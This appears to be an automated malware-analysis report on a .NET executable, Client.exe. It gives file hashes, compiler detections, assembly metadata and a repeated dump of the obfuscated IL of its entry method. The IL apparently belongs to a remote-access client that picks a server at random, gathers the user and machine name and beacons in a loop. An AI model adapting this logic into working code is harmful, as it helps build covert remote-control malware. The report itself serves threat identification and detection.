5ea519b65653e2d0821b23e4b00e0d09

PE Executable
|
MD5: 5ea519b65653e2d0821b23e4b00e0d09
|
Size: 854.53 KB
|
application/x-dosexec

Summary by MalvaGPT

Characteristics

Hash	Hash Value
MD5	5ea519b65653e2d0821b23e4b00e0d09
Sha1	2667399290d894af886f0e5a4501f70045af5080
Sha256	ad61959f21fc0078c83f70d86c7b66d75a81d085409589a8f2861a9d5cb023e6
Sha384	78f838802d048023e23f49853dcf24b1073cb7d209583bbe5404de23a5af7f1b8640febc885176d21fe8ec3e728eb239
Sha512	c002c8563f43fd68dea280a1a3bb038c6b744aa9c84779358a6c7123738a8bb89898c3ce526694327e159d88fbe1f103ca184b3692339070c820dc6887b155db
SSDeep	6144:VA4cfa5nzSWnN1XuuITfKVKEolWcYFEcNFhJeV2aK+P9spcdT1z5w53a7s0Yfgbh:Ozy5nz3nvWTfKVRFEcPHGr63BMYIBCi
TLSH	3A05E4042B944D00D1843AFD8DFA6A15C71EADED3A02674B3706F2692D72DEDDE2D2C6

PeID

.NET executable

Microsoft Visual C# / Basic .NET

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL

Microsoft Visual C# v7.0 / Basic .NET

Microsoft Visual Studio .NET

File Structure

Informations

Name0	Value
Info	PE Detect: PeReader OK (file layout)
Module Name	Client.exe
Full Name	Client.exe
EntryPoint	System.Void gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::xpKqynHzSBIfYMDuqdzFjwxp(System.String[])
Scope Name	Client.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Client
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.0
Total Strings	436
Main Method	System.Void gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::xpKqynHzSBIfYMDuqdzFjwxp(System.String[])
Main IL Instruction Count	167
Main IL	call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::bCUloTHfzL() stloc V_3 br IL_003F: br IL_000E nop <null> ldloc V_3 call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::htPmMyxMHKTAFypQWOl() ceq <null> brfalse IL_0029: nop nop <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::HwjVgsqpEusaT() stloc V_3 nop <null> ldloc V_3 call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::geGYZulosq() ceq <null> brfalse IL_003F: br IL_000E br IL_0044: call System.Void gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::ejQVklRpzMLCtEWNKNgTXtt() br IL_000E: nop call System.Void gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::ejQVklRpzMLCtEWNKNgTXtt() call System.Void gTDimROLqbLLEb.MNrlLJhTaA::ChmbfcXtrDp() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::FKOEwWispo call System.String gTDimROLqbLLEb.SEXUNYtvLFaM::VwSEIVUzqZxoHfOXGdF() call System.String KtGIcapYEkbbEGoZeTFxcYf.QgLJbMeBiVDWjZMlQWzotJ::lbvPHuHhiecRKELpSBUXOT(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_006C: ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::oBpfcHujNPDVSNBmtuJMyuOFt call System.Void gTDimROLqbLLEb.riSRQxapZRaOzhEkALz::xTAkORMavPkjYQRJ() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::oBpfcHujNPDVSNBmtuJMyuOFt call System.Boolean fgYKSOByvtDDkqJKsImly.jnDnmTaxBdLImUrmxRy::weRFkErYSVVkTzqlzAlet(System.String) brtrue IL_0080: call System.Void lwvdOHoMQhQl.fmBthtZMbgPCuCcSmBTjH::oLwHMHhTHgculnX() leave IL_0283: ret call System.Void lwvdOHoMQhQl.fmBthtZMbgPCuCcSmBTjH::oLwHMHhTHgculnX() call System.Void gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::FrSRObvYmRHL() ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldfld System.Boolean gTDimROLqbLLEb.QlUsmnuOohHbAeL::iOtLYTRcLBRkNsSouegqgKAfG brtrue IL_026E: call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::cgqLBmawjHClEJxImIlrEWtO() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::uKVBszRteHUEIrrnob call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::CPmzClROAWlK() newarr System.Char dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::FTIIHNSsgFSKKypraSDsNedD() call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::BJaMTevUNSFlchfYPVKUosm() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::RzPGWGTuaoZmc ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::XaEhRfbqESGDrfNbWp() newarr System.Char dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::fkFxlXUyITjBJWypsaNDhqOgK() call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::cgjHixyvHrRcSKwhTX() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::QwgsqUBIlPpVYnKv() ldelem System.String call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::OBklCNPHXQHDHAXrLtdvos() newarr System.Char dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::hpNgSWspIPISRmjOjRlSE() call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::EePRdNtgzzVOCwphxkebyoyh() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd callvirt System.Void gTDimROLqbLLEb.QlUsmnuOohHbAeL::jACBRpJQeHrjJyQkhF() ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldloc V_1 call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::FbfueDahnki() ldelem System.String ldloc V_2 ldsfld System.Random gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::RzPGWGTuaoZmc ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String callvirt System.Void gTDimROLqbLLEb.QlUsmnuOohHbAeL::WpeUTKkcCuGzlEhFZioCerhn(System.String,System.String) ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldfld System.Boolean gTDimROLqbLLEb.QlUsmnuOohHbAeL::iOtLYTRcLBRkNsSouegqgKAfG brfalse IL_026E: call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::cgqLBmawjHClEJxImIlrEWtO() ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd newobj System.Void dpzaflOomiRO.MPvFVzmiKRBUEDr::.ctor(gTDimROLqbLLEb.QlUsmnuOohHbAeL) stfld dpzaflOomiRO.MPvFVzmiKRBUEDr gTDimROLqbLLEb.QlUsmnuOohHbAeL::eZXcIhhFhkjveUutNnJ ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd newobj System.Void gTDimROLqbLLEb.fFskBXiBdTi::.ctor(gTDimROLqbLLEb.QlUsmnuOohHbAeL) stfld gTDimROLqbLLEb.fFskBXiBdTi gTDimROLqbLLEb.QlUsmnuOohHbAeL::AAencOTjSYNNEuosEitkDHLi ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::AtfvcQJwCkmYBTA() newarr System.Object dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::dvQghMYlOlUvvhPMHQxrzf() call System.String gTDimROLqbLLEb.SEXUNYtvLFaM::keOFpqffNpAFTRtTgBNGx() call System.String KtGIcapYEkbbEGoZeTFxcYf.QgLJbMeBiVDWjZMlQWzotJ::lbvPHuHhiecRKELpSBUXOT(System.String) stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::YolCVoHsKCmErTCj() call System.Byte[] gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::KaaDPRsSUTncrFguvdbT() stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::VthqvOAVVaRlWJoyZsrvKD() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::tdGIgWQsXJRrQiq stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::HtJsIcXsFhJVFxfcakgzOpHns() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::qqEFEGvVVznQZdrYCPoZvK stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::GSaKndSwaxlVrtxhLENoiAtQQ() call System.String System.Environment::get_UserName() call System.String gTDimROLqbLLEb.SEXUNYtvLFaM::MVtipcFZzbahuriN() call System.String KtGIcapYEkbbEGoZeTFxcYf.QgLJbMeBiVDWjZMlQWzotJ::lbvPHuHhiecRKELpSBUXOT(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::dDiRmVzKWESut() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::rcWWfnmXFlB stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::DJXiqFtnCgdDaEQFYKu() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::CEdlzUQzloAzvn stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::APNJLQVhWsPRKhkYdL() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::iFOiQuaTDKETSFpouxVkiU stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::KRqBCnjvutQgHzRfo() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::AIwtRiipbYDVVA stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::OWakLQJRMssUscMljKKNLVcV() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::cjmUUCbXaryDRrDkVclaauB stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::nGMIRsBvcPozaGZrka() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::pBuhJheLtacOmMuMuuz stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::CaBnTVQHVaksuFJYKwIuAq() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::wDQoyiMFRdodLTsm stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::PNXmIEkWaumSAmSsm() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::EmbudRJLjzA stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::lgVsWutRiP() call System.String gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::LWCOjAqpKCpXEwDy() stelem.ref <null> call System.Byte[] hvBzXhwQSXEJgjymXOQkKie.QaSCEjkRoELVdMU::YtQgkAfbIdywlIcZwhZ(System.Object[]) callvirt System.Void gTDimROLqbLLEb.QlUsmnuOohHbAeL::MLzMsLoiWNNm(System.Byte[]) call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::cgqLBmawjHClEJxImIlrEWtO() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_008A: ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd pop <null> leave IL_0283: ret ret <null>
Module Name	Client.exe
Full Name	Client.exe
EntryPoint	System.Void gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::xpKqynHzSBIfYMDuqdzFjwxp(System.String[])
Scope Name	Client.exe
Scope Type	ModuleDef
Kind	Windows
Runtime Version	v4.0.30319
Tables Header Version	512
WinMD Version	<null>
Assembly Name	Client
Assembly Version	1.0.0.0
Assembly Culture	<null>
Has PublicKey	False
PublicKey Token	<null>
Target Framework	.NETFramework,Version=v4.0
Total Strings	436
Main Method	System.Void gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::xpKqynHzSBIfYMDuqdzFjwxp(System.String[])
Main IL Instruction Count	167
Main IL	call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::bCUloTHfzL() stloc V_3 br IL_003F: br IL_000E nop <null> ldloc V_3 call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::htPmMyxMHKTAFypQWOl() ceq <null> brfalse IL_0029: nop nop <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::HwjVgsqpEusaT() stloc V_3 nop <null> ldloc V_3 call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::geGYZulosq() ceq <null> brfalse IL_003F: br IL_000E br IL_0044: call System.Void gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::ejQVklRpzMLCtEWNKNgTXtt() br IL_000E: nop call System.Void gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::ejQVklRpzMLCtEWNKNgTXtt() call System.Void gTDimROLqbLLEb.MNrlLJhTaA::ChmbfcXtrDp() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::FKOEwWispo call System.String gTDimROLqbLLEb.SEXUNYtvLFaM::VwSEIVUzqZxoHfOXGdF() call System.String KtGIcapYEkbbEGoZeTFxcYf.QgLJbMeBiVDWjZMlQWzotJ::lbvPHuHhiecRKELpSBUXOT(System.String) call System.Boolean System.String::op_Equality(System.String,System.String) brfalse IL_006C: ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::oBpfcHujNPDVSNBmtuJMyuOFt call System.Void gTDimROLqbLLEb.riSRQxapZRaOzhEkALz::xTAkORMavPkjYQRJ() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::oBpfcHujNPDVSNBmtuJMyuOFt call System.Boolean fgYKSOByvtDDkqJKsImly.jnDnmTaxBdLImUrmxRy::weRFkErYSVVkTzqlzAlet(System.String) brtrue IL_0080: call System.Void lwvdOHoMQhQl.fmBthtZMbgPCuCcSmBTjH::oLwHMHhTHgculnX() leave IL_0283: ret call System.Void lwvdOHoMQhQl.fmBthtZMbgPCuCcSmBTjH::oLwHMHhTHgculnX() call System.Void gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::FrSRObvYmRHL() ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldfld System.Boolean gTDimROLqbLLEb.QlUsmnuOohHbAeL::iOtLYTRcLBRkNsSouegqgKAfG brtrue IL_026E: call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::cgqLBmawjHClEJxImIlrEWtO() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::uKVBszRteHUEIrrnob call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::CPmzClROAWlK() newarr System.Char dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::FTIIHNSsgFSKKypraSDsNedD() call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::BJaMTevUNSFlchfYPVKUosm() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_0 ldloc V_0 ldsfld System.Random gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::RzPGWGTuaoZmc ldloc V_0 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::XaEhRfbqESGDrfNbWp() newarr System.Char dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::fkFxlXUyITjBJWypsaNDhqOgK() call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::cgjHixyvHrRcSKwhTX() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_1 ldloc V_1 call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::QwgsqUBIlPpVYnKv() ldelem System.String call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::OBklCNPHXQHDHAXrLtdvos() newarr System.Char dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::hpNgSWspIPISRmjOjRlSE() call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::EePRdNtgzzVOCwphxkebyoyh() stelem.i2 <null> callvirt System.String[] System.String::Split(System.Char[]) stloc V_2 ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd callvirt System.Void gTDimROLqbLLEb.QlUsmnuOohHbAeL::jACBRpJQeHrjJyQkhF() ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldloc V_1 call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::FbfueDahnki() ldelem System.String ldloc V_2 ldsfld System.Random gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::RzPGWGTuaoZmc ldloc V_2 ldlen <null> conv.i4 <null> callvirt System.Int32 System.Random::Next(System.Int32) ldelem System.String callvirt System.Void gTDimROLqbLLEb.QlUsmnuOohHbAeL::WpeUTKkcCuGzlEhFZioCerhn(System.String,System.String) ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldfld System.Boolean gTDimROLqbLLEb.QlUsmnuOohHbAeL::iOtLYTRcLBRkNsSouegqgKAfG brfalse IL_026E: call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::cgqLBmawjHClEJxImIlrEWtO() ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd newobj System.Void dpzaflOomiRO.MPvFVzmiKRBUEDr::.ctor(gTDimROLqbLLEb.QlUsmnuOohHbAeL) stfld dpzaflOomiRO.MPvFVzmiKRBUEDr gTDimROLqbLLEb.QlUsmnuOohHbAeL::eZXcIhhFhkjveUutNnJ ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd newobj System.Void gTDimROLqbLLEb.fFskBXiBdTi::.ctor(gTDimROLqbLLEb.QlUsmnuOohHbAeL) stfld gTDimROLqbLLEb.fFskBXiBdTi gTDimROLqbLLEb.QlUsmnuOohHbAeL::AAencOTjSYNNEuosEitkDHLi ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::AtfvcQJwCkmYBTA() newarr System.Object dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::dvQghMYlOlUvvhPMHQxrzf() call System.String gTDimROLqbLLEb.SEXUNYtvLFaM::keOFpqffNpAFTRtTgBNGx() call System.String KtGIcapYEkbbEGoZeTFxcYf.QgLJbMeBiVDWjZMlQWzotJ::lbvPHuHhiecRKELpSBUXOT(System.String) stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::YolCVoHsKCmErTCj() call System.Byte[] gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::KaaDPRsSUTncrFguvdbT() stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::VthqvOAVVaRlWJoyZsrvKD() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::tdGIgWQsXJRrQiq stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::HtJsIcXsFhJVFxfcakgzOpHns() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::qqEFEGvVVznQZdrYCPoZvK stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::GSaKndSwaxlVrtxhLENoiAtQQ() call System.String System.Environment::get_UserName() call System.String gTDimROLqbLLEb.SEXUNYtvLFaM::MVtipcFZzbahuriN() call System.String KtGIcapYEkbbEGoZeTFxcYf.QgLJbMeBiVDWjZMlQWzotJ::lbvPHuHhiecRKELpSBUXOT(System.String) call System.String System.Environment::get_MachineName() call System.String System.String::Concat(System.String,System.String,System.String) stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::dDiRmVzKWESut() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::rcWWfnmXFlB stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::DJXiqFtnCgdDaEQFYKu() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::CEdlzUQzloAzvn stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::APNJLQVhWsPRKhkYdL() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::iFOiQuaTDKETSFpouxVkiU stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::KRqBCnjvutQgHzRfo() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::AIwtRiipbYDVVA stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::OWakLQJRMssUscMljKKNLVcV() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::cjmUUCbXaryDRrDkVclaauB stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::nGMIRsBvcPozaGZrka() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::pBuhJheLtacOmMuMuuz stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::CaBnTVQHVaksuFJYKwIuAq() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::wDQoyiMFRdodLTsm stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::PNXmIEkWaumSAmSsm() ldsfld System.String gTDimROLqbLLEb.SMCSMEEGeYAKfXXwP::EmbudRJLjzA stelem.ref <null> dup <null> call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::lgVsWutRiP() call System.String gTDimROLqbLLEb.uCCwHvhNRgmPrcuPj::LWCOjAqpKCpXEwDy() stelem.ref <null> call System.Byte[] hvBzXhwQSXEJgjymXOQkKie.QaSCEjkRoELVdMU::YtQgkAfbIdywlIcZwhZ(System.Object[]) callvirt System.Void gTDimROLqbLLEb.QlUsmnuOohHbAeL::MLzMsLoiWNNm(System.Byte[]) call System.Int32 gTDimROLqbLLEb.SEXUNYtvLFaM::cgqLBmawjHClEJxImIlrEWtO() call System.Void System.Threading.Thread::Sleep(System.Int32) br IL_008A: ldsfld gTDimROLqbLLEb.QlUsmnuOohHbAeL gTDimROLqbLLEb.VmkzgFKchVJjZSlGcPiMzkC::ZNLTsOkEVdfAGVrmZwiTYeAVd pop <null> leave IL_0283: ret ret <null>

5ea519b65653e2d0821b23e4b00e0d09 (854.53 KB)

5ea519b65653e2d0821b23e4b00e0d09

PE Executable | MD5: 5ea519b65653e2d0821b23e4b00e0d09 | Size: 854.53 KB | application/x-dosexec

PE Executable
|
MD5: 5ea519b65653e2d0821b23e4b00e0d09
|
Size: 854.53 KB
|
application/x-dosexec